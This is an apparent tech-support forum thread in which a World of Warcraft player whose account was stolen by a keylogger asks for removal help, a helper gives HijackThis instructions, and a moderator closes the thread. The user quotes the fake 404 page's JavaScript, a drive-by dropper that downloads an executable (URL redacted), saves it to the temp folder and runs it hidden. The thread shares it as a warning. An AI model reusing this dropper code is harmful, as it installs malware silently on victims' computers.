Help with a keylogger, urgent.

[Purgedom2]

This is my first time posting on these boards, so sorry ahead of time if this is the wrong forum.


Anyways, I seem to have picked up a Keylogger recently while browsing the forums over at www.worldofwarcraft.com.

There was a "Rogue PVP Video" thread floating around which contained a bad link that brought you to a fake 404 page that immediatly infected your computer with a keylogger.

I lost my account and character on World of warcraft, and i cannot get it back.


Anyways, I still have this keylogger on my comp. How do i get rid of it?

The program is in my processes under "Svchqs.exe" and it opens everytime i restart my computer.

My full forum post discussing and warning about this link can be found here:
http://forums.worldofwarcraft.com/thread.html?topicId=12952459&pageNo=1



Basically in the source of the page this happens:

"function gn(n){var number = Math.random()*n;return '~tmp'+Math.round(number)+'.exe';}try{dl="<<purposefully removed, link to an malicous exeutable>>";var df=document.createElement("object");df.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var x=df.CreateObject("Microsoft.X"+"M"+"L"+"H"+"T"+"T"+"P","");var S=df.CreateObject("Adodb.Stream","");S.type=1;x.open("GET", dl,0);x.send();fname1=gn(10000);var F=df.CreateObject("Scripting.FileSystemObject","");var tmp=F.GetSpecialFolder(0);fname1= F.BuildPath(tmp,fname1);S.Open();S.Write(x.responseBody);S.SaveToFile(fname1,2);S.Close();var Q=df.CreateObject("Shell.Application","");Q.ShellExecute(fname1,"","","open",0);}catch(i){i=1;} "


According to some guy in the forum, anyways. Im no computer genious, just a guy who likes to play video games and is bummed that all his hard work for 2 years is completely gone, and my account is still inaccessible, and the keylogger is STILL on my computer.


I have run Spybot, Adaware, AVG and updated everything. Its still there. I use windows XP professional.

[illukka]

hi

* Click here (http://www.thespykiller.co.uk/files/HJTsetup.exe) to download HJTsetup.exe
Save HJTsetup.exe to your desktop.
Doubleclick on the HJTsetup.exe icon on your desktop.
By default it will install to C:\Program Files\Hijack This.
Continue to click Next in the setup dialogue boxes until you get to the Select Addition Tasks dialogue.
Put a check by Create a desktop icon then click Next again.
Continue to follow the rest of the prompts from there.
At the final dialogue box click Finish and it will launch Hijack This.
Click on the Do a system scan and save a logfile button. It will scan and the log should open in notepad.
Click on "Edit > Select All" then click on "Edit > Copy" to copy the entire contents of the log.
Come back here to this thread and Paste the log in your next reply.
DO NOT have Hijack This fix anything yet. Most of what it finds will be harmless or even required.

[tashi]

:scratch:
This topic is closed due to lack of a response to helper, if you need it re-opened please send me a private message (pm) and provide a link to the thread.

Applies only to the original topic starter.